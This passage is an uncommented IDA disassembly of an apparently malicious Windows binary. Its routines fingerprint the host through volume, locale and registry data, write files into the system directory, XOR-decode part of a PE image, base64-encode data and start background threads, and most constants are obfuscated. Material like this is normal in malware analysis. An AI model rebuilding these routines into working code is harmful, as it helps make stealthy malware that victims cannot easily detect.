		push	esi
		call	ds:dword_44A634
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_445020
		push	offset dword_44C6A0
		call	sub_4424C1
		mov	esi, dword_44B1A0
		sub	esi, 6
		push	esi
		push	0
		lea	esi, [ebp+var_19C]
		push	esi
		lea	esi, [ebp+var_19C]
		push	esi
		lea	esi, [ebp+var_198]
		push	esi
		push	0FFh
		lea	esi, [ebp+var_FF]
		push	esi
		push	eax
		call	ds:dword_44A614	; GetVolumeInformationA
		push	offset dword_44C698
		call	sub_4424C1
		push	[ebp+var_198]
		push	eax
		lea	esi, [ebp+var_FF]
		push	esi
		call	ds:dword_44A634
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_445020
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		mov	eax, dword_44B18C
		add	eax, 2
		push	eax
		push	400h
		call	ds:dword_4475F4	; GetLocaleInfoA
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_445020
		push	offset byte_44C693
		call	sub_4424C1
		push	eax
		push	edi
		call	ds:dword_445020
		mov	[ebp+var_1A0], 0FFh
		push	offset word_44C666
		call	sub_4424C1
		mov	[ebp+var_1AC], eax
		push	offset byte_44C659
		call	sub_4424C1
		lea	esi, [ebp+var_1A8]
		push	esi
		lea	esi, [ebp+var_1A0]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		push	eax
		mov	esi, [ebp+var_1AC]
		push	esi
		push	80000002h
		call	sub_440FBB
		add	esp, 70h
		mov	[ebp+var_1A4], eax
		mov	eax, dword_44B190
		add	eax, dword_44B1AC
		sub	eax, 6
		cmp	[ebp+var_1A4], eax
		jnz	short loc_43B176
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_445020
		add	esp, 8


loc_43B176:				; CODE XREF: sub_43AFB5+1AEj
		pop	edi
		pop	esi
		leave
		retn
sub_43AFB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B17A	proc near		; DATA XREF: .data:0044B2C4o
		mov	eax, 80004001h
		retn	10h
sub_43B17A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B182	proc near		; CODE XREF: sub_442E96+35Ep
					; sub_442E96+3E5p

var_16C		= byte ptr -16Ch
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 16Ch
		push	ebx
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4475FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_43BFE5
		push	offset dword_44C654
		call	sub_4424C1
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_445020
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_445020
		push	offset dword_44C64C
		call	sub_4424C1
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_445020
		add	esp, 24h
		push	0
		push	80h
		push	4
		push	0
		mov	eax, dword_44B0C0
		add	eax, dword_44B1C0
		sub	eax, 4
		push	eax
		push	40000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_44A788	; CreateFileA
		mov	edi, eax
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_44AB9C	; SetFilePointer
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43B237:				; CODE XREF: sub_43B182+BAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43B237
		mov	esi, eax
		push	0
		lea	ebx, [ebp+var_16C]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	ds:dword_44AB8C	; WriteFile
		push	edi
		call	ds:dword_449650	; CloseHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B182	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B260	proc near		; CODE XREF: sub_43E40A+8Ep
					; sub_43E40A+15Dp

var_10003	= dword	ptr -10003h
var_FFFF	= byte ptr -0FFFFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		lea	edi, dword_448260
		cmp	[ebp+arg_4], 43h
		jnz	short loc_43B285
		lea	edi, dword_4470F0


loc_43B285:				; CODE XREF: sub_43B260+1Dj
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	0C0000000h
		push	edi
		call	ds:dword_44A788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_43B32E
		push	0
		push	0
		push	esi
		push	edi
		call	ds:dword_44AB9C	; SetFilePointer
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFh
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	ds:dword_445028	; ReadFile
		lea	ecx, [ebp+var_FFFF]
		or	eax, 0FFFFFFFFh


loc_43B2D7:				; CODE XREF: sub_43B260+7Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43B2D7
		mov	edx, dword_44B0C4
		add	edx, 1
		mov	ebx, eax
		add	ebx, edx
		mov	[ebp+var_4], ebx
		mov	ebx, dword_44B158
		mov	edx, [ebp+var_4]
		mov	[ebp+ebx*4+var_10003], edx
		push	0
		push	0
		push	esi
		push	edi
		call	ds:dword_44AB9C	; SetFilePointer
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, dword_44B178
		add	eax, 1
		push	eax
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	ds:dword_44AB8C	; WriteFile
		push	edi
		call	ds:dword_449650	; CloseHandle


loc_43B32E:				; CODE XREF: sub_43B260+43j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B333	proc near		; CODE XREF: sub_442C0A+1E5p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+3Ch]
		mov	edi, esi
		add	edi, eax
		mov	eax, [edi+28h]
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+edx+0Dh]
		movzx	eax, byte ptr [esi]
		xor	eax, 4Dh
		mov	[ebp+var_1], al
		movzx	eax, byte ptr [esi+1]
		movsx	edx, word_44B0C8
		mov	ecx, dword_44B1B4
		lea	edx, [edx+ecx+1F8h]
		mov	ebx, eax
		imul	ebx, edx
		movsx	eax, word_44B168
		mov	edi, eax
		add	edi, dword_44B0F8
		sub	edi, 8
		jmp	short loc_43B396
; ---------------------------------------------------------------------------


loc_43B388:				; CODE XREF: sub_43B333+65j
		movzx	eax, byte ptr [esi+edi]
		movzx	edx, [ebp+var_1]
		xor	eax, edx
		mov	[esi+edi], al
		inc	edi


loc_43B396:				; CODE XREF: sub_43B333+53j
		cmp	edi, ebx
		jb	short loc_43B388
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B333	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B3A7	proc near		; CODE XREF: sub_43AA99+17Cp

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, ebx
		add	eax, 2
		mov	ecx, 3
		mov	edx, 0AAAAAAABh
		mul	edx
		shr	edx, 1
		mov	[ebp+var_4], edx
		mov	edi, edx
		shl	edi, 2
		mov	edx, [ebp+arg_C]
		dec	edx
		cmp	edi, edx
		jbe	short loc_43B417
		xor	eax, eax
		jmp	loc_43B4C1
; ---------------------------------------------------------------------------


loc_43B3DF:				; CODE XREF: sub_43B3A7+80j
		push	esi
		push	[ebp+arg_0]
		call	sub_43BE80
		add	esp, 8
		mov	eax, dword_44B188
		add	eax, 3
		sub	ebx, eax
		movsx	eax, word_44B0D0
		mov	edx, dword_44B118
		lea	eax, [eax+edx+2]
		add	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		mov	eax, dword_44B140
		sub	eax, 4
		lea	esi, [esi+eax]


loc_43B417:				; CODE XREF: sub_43B3A7+2Fj
		mov	eax, dword_44B17C
		add	eax, dword_44B0EC
		sub	eax, 8
		cmp	ebx, eax
		jnb	short loc_43B3DF
		movsx	eax, word_44B16C
		sub	eax, 4
		cmp	ebx, eax
		jbe	short loc_43B4A4
		push	3
		mov	eax, dword_44B130
		add	eax, dword_44B18C
		dec	eax
		push	eax
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_449640
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_449634
		push	esi
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_43BE80
		add	esp, 20h
		mov	eax, dword_44B14C
		add	eax, dword_44B184
		sub	eax, 9
		mov	byte ptr [esi+eax], 3Dh
		movsx	eax, word_44B0E0
		inc	eax
		cmp	ebx, eax
		jnz	short loc_43B49B
		mov	eax, dword_44B104
		add	eax, dword_44B0D4
		sub	eax, 2
		mov	byte ptr [esi+eax], 3Dh


loc_43B49B:				; CODE XREF: sub_43B3A7+E0j
		mov	eax, dword_44B1C0
		inc	eax
		lea	esi, [esi+eax]


loc_43B4A4:				; CODE XREF: sub_43B3A7+8Ej
		mov	eax, dword_44B134
		add	eax, dword_44B144
		sub	eax, 8
		mov	edx, dword_44B104
		sub	edx, 3
		mov	[esi+eax], dl
		xor	eax, eax
		inc	eax


loc_43B4C1:				; CODE XREF: sub_43B3A7+33j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B3A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43B4C6	proc near		; DATA XREF: sub_43E8A2+15Bo

var_A		= byte ptr -0Ah
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	offset sub_4401E7
		push	dword ptr fs:0
		mov	fs:0, esp
		push	offset dword_44C644
		call	sub_4424C1
		push	dword ptr [edi]
		push	eax
		lea	esi, [ebp+var_A]
		push	esi
		call	ds:dword_44A634
		add	esp, 10h


loc_43B4FC:				; CODE XREF: sub_43B4C6+5Ej
		push	0
		push	dword ptr [edi]
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_4438E7
		mov	eax, dword_44B098
		movsx	edx, word_44B170
		add	eax, edx
		sub	eax, 0Fh
		push	eax
		call	ds:dword_44A630
		add	esp, 10h
		jmp	short loc_43B4FC
sub_43B4C6	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B52C	proc near		; CODE XREF: sub_442C0A+23Fp

var_209		= byte ptr -209h
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_1FE		= byte ptr -1FEh
var_107		= byte ptr -107h
var_102		= byte ptr -102h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	edi
		push	0FFh
		lea	eax, [ebp+var_1FE]
		push	eax
		call	ds:dword_4475FC	; GetSystemDirectoryA
		push	offset byte_44C631
		call	sub_4424C1
		movsx	edi, word_44B148
		sub	edi, 2
		push	edi
		lea	edi, [ebp+var_1FE]
		push	edi
		push	eax
		push	offset dword_4470F0
		call	ds:dword_44A634
		push	offset word_44C61E
		call	sub_4424C1
		mov	edi, dword_44B0F0
		sub	edi, 3
		push	edi
		lea	edi, [ebp+var_1FE]
		push	edi
		push	eax
		push	offset dword_448260
		call	ds:dword_44A634
		lea	eax, sub_43AA99
		mov	ds:dword_44A62C, eax
		lea	eax, sub_43AA99
		mov	ds:dword_44504C, eax
		lea	eax, sub_44287C
		mov	ds:dword_44A774, eax
		push	offset dword_446020
		call	sub_43AFB5
		mov	eax, dword_44B1AC
		add	eax, 6
		push	eax
		push	offset dword_448230
		call	sub_44244A
		lea	eax, sub_443C06
		mov	ds:dword_448228, eax
		lea	eax, sub_43DE0F
		mov	ds:dword_447A30, eax
		lea	eax, dword_4470F0
		mov	ds:dword_44963C, eax
		lea	eax, dword_448260
		mov	ds:dword_445018, eax
		lea	eax, dword_44A670
		mov	dword_44B2B0, eax
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, dword_44B0AC
		sub	eax, 3
		push	eax
		push	0
		push	offset sub_440914
		mov	eax, dword_44B0F8
		add	eax, dword_44B104
		sub	eax, 5
		push	eax
		push	0
		call	ds:dword_44AB90	; CreateThread
		push	eax
		call	ds:dword_449650	; CloseHandle
		lea	eax, [ebp+var_208]
		push	eax
		mov	eax, dword_44B198
		mov	edx, dword_44B184
		add	edx, eax
		sub	edx, 0Eh
		push	edx
		push	0
		push	offset sub_43C256
		movsx	edx, word_44B0E8
		add	edx, eax
		lea	eax, [edx-0Dh]
		push	eax
		push	0
		call	ds:dword_44AB90	; CreateThread
		push	eax
		call	ds:dword_449650	; CloseHandle
		mov	eax, dword_44B174
		inc	eax
		movsx	edx, word_44B0E0
		add	eax, edx
		mov	ds:dword_44761C, eax
		movsx	eax, word_44B0BC
		movsx	edx, word_44B128
		add	eax, edx
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_43ADAC
		add	esp, 3Ch
		mov	eax, dword_44B0A4
		add	eax, dword_44B124
		cmp	[ebp+eax+var_102], 64h
		jnz	short loc_43B705
		movsx	eax, [ebp+var_FE]
		mov	edx, dword_44B0B8
		add	edx, 1Ch
		add	edx, dword_44B1A4
		sub	eax, edx
		mov	[ebp+var_209], al
		movzx	eax, [ebp+var_209]
		push	eax
		push	0
		call	sub_441FCC
		add	esp, 8
		mov	eax, dword_44B0B4
		sub	eax, 8
		mov	ds:dword_44761C, eax


loc_43B705:				; CODE XREF: sub_43B52C+19Aj
		movsx	eax, word_44B170
		add	eax, dword_44B164
		cmp	[ebp+eax+var_107], 67h
		jnz	short loc_43B775
		mov	eax, dword_44B188
		add	eax, 7
		add	eax, dword_44B0AC
		movsx	edx, word_44B1BC
		add	edx, dword_44B1CC
		sub	edx, 0Ah
		mov	[ebp+eax+var_FF], dl
		lea	eax, [ebp+var_FE]
		push	eax
		call	ds:dword_445054
		mov	[ebp-20Ch], eax
		push	eax
		push	offset dword_44A670
		call	sub_43E1CC
		add	esp, 0Ch
		mov	eax, dword_44B10C
		add	eax, dword_44B174
		sub	eax, 10h
		mov	ds:dword_44761C, eax


loc_43B775:				; CODE XREF: sub_43B52C+1EEj
		pop	edi
		leave
		retn
sub_43B52C	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B778	proc near		; DATA XREF: .data:0044B2E8o
		mov	eax, 80004001h
		retn	10h
sub_43B778	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B780	proc near		; CODE XREF: sub_443589+Ep
					; sub_443589+1DBp

var_10088	= dword	ptr -10088h
var_10084	= dword	ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= dword	ptr -1007Ch
var_10078	= word ptr -10078h
var_10070	= dword	ptr -10070h
var_10068	= dword	ptr -10068h
var_10064	= dword	ptr -10064h
var_10060	= dword	ptr -10060h
var_10059	= byte ptr -10059h
var_10058	= dword	ptr -10058h
var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10048	= dword	ptr -10048h
var_10043	= byte ptr -10043h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10088h
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_40], 8
		push	offset dword_44C610
		call	sub_43EFD7
		pop	ecx
		push	eax
		call	ds:dword_445044
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	esi, [ebp+var_40]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		mov	eax, dword_44B0F0
		sub	eax, 4
		cmp	ebx, eax
		jz	short loc_43B7DC
		xor	eax, eax
		jmp	loc_43BE20
; ---------------------------------------------------------------------------


loc_43B7DC:				; CODE XREF: sub_43B780+53j
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_44C91C
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44B090
		dec	eax
		cmp	ebx, eax
		jnz	loc_43BE15
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		movsx	eax, word_44B100
		movsx	edx, word_44B0DC
		add	eax, edx
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	loc_43BE0C
		and	[ebp+var_44], 0
		movsx	eax, word_44B100
		sub	eax, 9
		mov	[ebp+var_1C], eax
		jmp	loc_43BE00
; ---------------------------------------------------------------------------


loc_43B844:				; CODE XREF: sub_43B780+686j
		mov	[ebp+var_18], 2
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_24]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word_44B0DC
		add	eax, dword_44B0A0
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_43BDFD
		and	[ebp+var_10048], 0
		lea	eax, [ebp+var_10048]
		push	eax
		push	offset dword_44C90C
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44B170
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_43BDD9
		cmp	[ebp+var_10048], 0
		jz	loc_43BDD9
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10048]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F8h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_43BDD9
		lea	eax, [ebp+var_10043]
		push	eax
		push	[ebp+var_20]
		call	sub_43A9C0
		mov	eax, dword_44B0F0
		sub	eax, 3
		push	eax
		push	offset dword_448230
		lea	eax, [ebp+var_10043]
		push	eax
		call	sub_43D744
		add	esp, 14h
		movsx	edi, word_44B0D0
		mov	esi, dword_44B094
		lea	edi, [edi+esi+0FFF9h]
		cmp	eax, edi
		jz	loc_43BDD9
		cmp	[ebp+arg_4], 0
		jz	short loc_43B95E
		mov	eax, [ebp+var_10048]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax
		inc	eax
		jmp	loc_43BE20
; ---------------------------------------------------------------------------


loc_43B95E:				; CODE XREF: sub_43B780+1BFj
		and	[ebp+var_1007C], 0
		lea	eax, [ebp+var_1007C]
		push	eax
		push	offset dword_44C93C
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44B194
		cmp	ebx, eax
		jnz	loc_43BDD9
		mov	[ebp+var_10059], 44h
		push	offset dword_44C608
		call	sub_4424C1
		mov	edi, dword_44B174
		movsx	esi, word_44B100
		add	edi, esi
		sub	edi, 11h
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_43D744
		add	esp, 10h
		mov	esi, dword_44B0F8
		add	esi, 0FFF4h
		movsx	edx, word_44B0F4
		add	esi, edx
		cmp	eax, esi
		jz	short loc_43B9E3
		mov	[ebp+var_10059], 43h


loc_43B9E3:				; CODE XREF: sub_43B780+25Aj
		push	offset dword_44C600
		call	sub_4424C1
		mov	edi, dword_44B158
		add	edi, dword_44B0A4
		dec	edi
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_43D744
		add	esp, 10h
		mov	esi, dword_44B18C
		add	esi, dword_44B1CC
		dec	esi
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10068], edi
		mov	[ebp+var_10054], edi


loc_43BA28:				; CODE XREF: sub_43B780+2BEj
		mov	eax, [ebp+var_10054]
		cmp	[ebp+eax+var_10043], 26h
		jz	short loc_43BA40
		inc	[ebp+var_10054]
		jmp	short loc_43BA28
; ---------------------------------------------------------------------------


loc_43BA40:				; CODE XREF: sub_43B780+2B6j
		mov	eax, [ebp+var_10054]
		mov	edx, dword_44B09C
		add	edx, dword_44B0A8
		sub	edx, 0Bh
		mov	[ebp+eax+var_10043], dl
		mov	eax, [ebp+var_10068]
		lea	eax, [ebp+eax+var_10043]
		push	eax
		call	ds:dword_445054
		mov	[ebp+var_10080], eax
		push	offset byte_44C5F9
		call	sub_4424C1
		mov	edi, dword_44B184
		mov	esi, edi
		add	esi, edi
		mov	edi, esi
		sub	edi, 0Bh
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_43D744
		add	esp, 14h
		mov	esi, dword_44B14C
		add	esi, dword_44B118
		sub	esi, 4
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10068], edi
		mov	[ebp+var_10054], edi


loc_43BABF:				; CODE XREF: sub_43B780+355j
		mov	eax, [ebp+var_10054]
		cmp	[ebp+eax+var_10043], 26h
		jz	short loc_43BAD7
		inc	[ebp+var_10054]
		jmp	short loc_43BABF
; ---------------------------------------------------------------------------


loc_43BAD7:				; CODE XREF: sub_43B780+34Dj
		mov	eax, [ebp+var_10054]
		mov	edx, dword_44B158
		add	edx, dword_44B174
		sub	edx, 9
		mov	[ebp+eax+var_10043], dl
		mov	eax, [ebp+var_10068]
		lea	eax, [ebp+eax+var_10043]
		push	eax
		call	ds:dword_445054
		pop	ecx
		mov	[ebp+var_10060], eax
		mov	eax, dword_44B12C
		sub	eax, 5
		cmp	[ebp+var_10080], eax
		ja	short loc_43BB83
		movsx	eax, word_44B16C
		sub	eax, 4
		mov	[ebp+var_1004C], eax
		jmp	short loc_43BB71
; ---------------------------------------------------------------------------


loc_43BB30:				; CODE XREF: sub_43B780+401j
		mov	edi, [ebp+var_1004C]
		mov	esi, edi
		shl	esi, 2
		cmp	ds:dword_446130[esi], 0
		jz	short loc_43BB6B
		mov	edx, [ebp+var_10060]
		cmp	ds:dword_445060[esi], edx
		jnz	short loc_43BB6B
		mov	dl, ds:byte_447200[edi]
		cmp	dl, [ebp+var_10059]
		jnz	short loc_43BB6B
		and	ds:dword_446130[edi*4],	0


loc_43BB6B:				; CODE XREF: sub_43B780+3C3j
					; sub_43B780+3D2j ...
		inc	[ebp+var_1004C]


loc_43BB71:				; CODE XREF: sub_43B780+3AEj
		mov	eax, dword_44B1B0
		add	eax, 3E8h
		cmp	[ebp+var_1004C], eax
		jb	short loc_43BB30


loc_43BB83:				; CODE XREF: sub_43B780+39Cj
		call	ds:dword_44A770	; GetTickCount
		mov	[ebp+var_10064], eax
		movsx	eax, word_44B0B0
		sub	eax, 8
		mov	[ebp+var_10050], eax
		jmp	short loc_43BBFD
; ---------------------------------------------------------------------------


loc_43BBA1:				; CODE XREF: sub_43B780+48Fj
		mov	edi, [ebp+var_10050]
		shl	edi, 2
		cmp	ds:dword_446130[edi], 0
		jz	short loc_43BBF7
		mov	edi, ds:dword_449660[edi]
		mov	esi, dword_44B0D4
		add	esi, 0EA5Ch
		add	esi, dword_44B104
		mov	edx, dword_44B098
		add	edx, dword_44B0F8
		sub	edx, 4
		imul	esi, edx
		add	edi, esi
		cmp	edi, [ebp+var_10064]
		jnb	short loc_43BBF7
		mov	edi, [ebp+var_10050]
		and	ds:dword_446130[edi*4],	0


loc_43BBF7:				; CODE XREF: sub_43B780+432j
					; sub_43B780+467j
		inc	[ebp+var_10050]


loc_43BBFD:				; CODE XREF: sub_43B780+41Fj
		movsx	eax, word_44B0C8
		add	eax, 3E1h
		cmp	[ebp+var_10050], eax
		jb	short loc_43BBA1
		movsx	eax, word_44B0DC
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 0Ch
		mov	[ebp+var_10058], eax
		jmp	short loc_43BC3F
; ---------------------------------------------------------------------------


loc_43BC29:				; CODE XREF: sub_43B780+4D1j
		mov	edi, [ebp+var_10058]
		cmp	ds:dword_446130[edi*4],	0
		jz	short loc_43BC53
		inc	[ebp+var_10058]


loc_43BC3F:				; CODE XREF: sub_43B780+4A7j
		mov	eax, dword_44B0C0
		lea	eax, [eax+eax+3E6h]
		cmp	[ebp+var_10058], eax
		jb	short loc_43BC29


loc_43BC53:				; CODE XREF: sub_43B780+4B7j
		mov	edi, [ebp+var_10058]
		mov	esi, [ebp+var_10060]
		mov	ds:dword_445060[edi*4],	esi
		mov	eax, edi
		mov	dl, [ebp+var_10059]
		mov	ds:byte_447200[eax], dl
		mov	eax, dword_44B1AC
		sub	eax, 4
		cmp	[ebp+var_10080], eax
		jbe	loc_43BD29
		movsx	esi, word_44B148
		mov	edx, dword_44B09C
		lea	esi, [esi+edx+0FFF4h]
		mov	ds:word_447A50[edi*2], si
		movsx	eax, word_44B19C
		sub	eax, 6
		mov	[ebp+var_10088], eax
		jmp	short loc_43BD15
; ---------------------------------------------------------------------------


loc_43BCB7:				; CODE XREF: sub_43B780+5A5j
		mov	edi, [ebp+var_10088]
		mov	esi, edi
		shl	esi, 2
		cmp	ds:dword_446130[esi], 0
		jz	short loc_43BD0F
		movzx	edx, ds:word_447A50[edi*2]
		movsx	ecx, word_44B090
		add	ecx, 0FFFEh
		cmp	edx, ecx
		jz	short loc_43BD0F
		mov	edx, [ebp+var_10060]
		cmp	ds:dword_445060[esi], edx
		jnz	short loc_43BD0F
		mov	dl, ds:byte_447200[edi]
		cmp	dl, [ebp+var_10059]
		jnz	short loc_43BD0F
		lea	edi, ds:447A50h[edi*2]
		inc	word ptr [edi]
		jmp	short loc_43BD40
; ---------------------------------------------------------------------------


loc_43BD0F:				; CODE XREF: sub_43B780+54Aj
					; sub_43B780+563j ...
		inc	[ebp+var_10088]


loc_43BD15:				; CODE XREF: sub_43B780+535j
		mov	eax, dword_44B0FC
		add	eax, 3E1h
		cmp	[ebp+var_10088], eax
		jb	short loc_43BCB7
		jmp	short loc_43BD40
; ---------------------------------------------------------------------------


loc_43BD29:				; CODE XREF: sub_43B780+503j
		mov	edi, [ebp+var_10058]
		mov	esi, dword_44B0FC
		sub	esi, 6
		mov	ds:word_447A50[edi*2], si


loc_43BD40:				; CODE XREF: sub_43B780+58Dj
					; sub_43B780+5A7j
		call	ds:dword_44A770	; GetTickCount
		mov	edi, [ebp+var_10058]
		mov	ds:dword_449660[edi*4],	eax
		lea	esi, off_44B294
		mov	ds:dword_446130[edi*4],	esi
		mov	edi, [ebp+var_10058]
		lea	edi, ds:446130h[edi*4]
		mov	[ebp+var_10084], edi
		mov	eax, edi
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	[ebp+var_10078], 9
		mov	edi, [ebp+var_10058]
		lea	edi, ds:446130h[edi*4]
		mov	[ebp+var_10070], edi
		lea	esi, [ebp+var_10078]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_1007C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+0A4h]
		mov	ebx, eax
		inc	[ebp+var_10058]
		lea	eax, [ebp+var_10078]
		push	eax
		call	ds:dword_44ABB0
		mov	eax, [ebp+var_1007C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43BDD9:				; CODE XREF: sub_43B780+143j
					; sub_43B780+150j ...
		cmp	[ebp+var_10048], 0
		jz	short loc_43BDEE
		mov	eax, [ebp+var_10048]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43BDEE:				; CODE XREF: sub_43B780+660j
		cmp	[ebp+var_4], 0
		jz	short loc_43BDFD
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43BDFD:				; CODE XREF: sub_43B780+10Fj
					; sub_43B780+672j
		inc	[ebp+var_1C]


loc_43BE00:				; CODE XREF: sub_43B780+BFj
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_1C], eax
